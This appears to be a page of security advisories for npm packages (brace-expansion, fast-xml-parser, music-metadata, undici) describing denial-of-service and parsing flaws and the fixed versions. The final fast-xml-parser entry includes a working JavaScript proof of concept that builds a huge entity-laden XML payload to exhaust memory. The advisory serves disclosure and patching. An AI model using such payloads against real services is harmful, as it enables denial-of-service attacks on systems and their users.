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Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the expand function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The max option does not prevent this issue, as it only limits the output size and not the computational workload.

Remediation

Upgrade brace-expansion to version 5.0.7 or higher.

References

• GitHub Commit

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.

Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade fast-xml-parser to version 5.5.6 or higher.

References

• GitHub Commit
• GitHub Release

Overview

music-metadata is a Music metadata parser for Node.js, supporting virtual any audio and tag format.

Affected versions of this package are vulnerable to Infinite loop through the parseExtensionObject process in the ASF parser when handling a sub-object with objectSize = 0. An attacker can cause the application to hang indefinitely by providing a specially crafted .asf file that triggers an infinite loop during parsing.

Remediation

Upgrade music-metadata to version 11.12.3 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handling of WebSocket message fragments. An attacker can cause unbounded memory growth and exhaust system resources by streaming a large number of small or empty continuation frames from a malicious WebSocket server.

Remediation

Upgrade undici to version 6.26.0, 7.28.0, 8.5.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release
• Vendor Advisory

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the PerMessageDeflate.decompress() method of the permessage-deflate extension. An attacker can cause excessive memory usage by sending specially crafted compressed WebSocket frames that decompress to a very large size, potentially leading to process crashes or unresponsiveness.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

• GitHub Commit
• HackerOne Report

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Uncaught Exception through improper validation of the server_max_window_bits parameter in the permessage-deflate extension. An attacker can cause the process to terminate unexpectedly by sending a maliciously crafted value outside the valid range, which triggers an unhandled exception when the client attempts to create a zlib InflateRaw instance.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

• GitHub Commit
• HackerOne Report

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Permissive List of Allowed Inputs via permissive substring matching in the Set-Cookie attribute parsing. An attacker can weaken cookie SameSite enforcement by crafting a response with a non-standard SameSite value that is interpreted as a more permissive setting, potentially allowing cookies to be sent in cross-site requests.

Note: This is only exploitable if the application consumes Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forwards or relies on the parsed sameSite attribute.

Workaround

This vulnerability can be mitigated by validating that the parsed sameSite attribute is exactly 'Strict', 'Lax', or 'None' (case-insensitive) before relying on or forwarding it.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release
• Vendor Advisory

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.

Note:

This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Remediation

Upgrade fast-xml-parser to version 5.5.7 or higher.

References

• GitHub Advisory
• GitHub Commit

GPL-3.0 license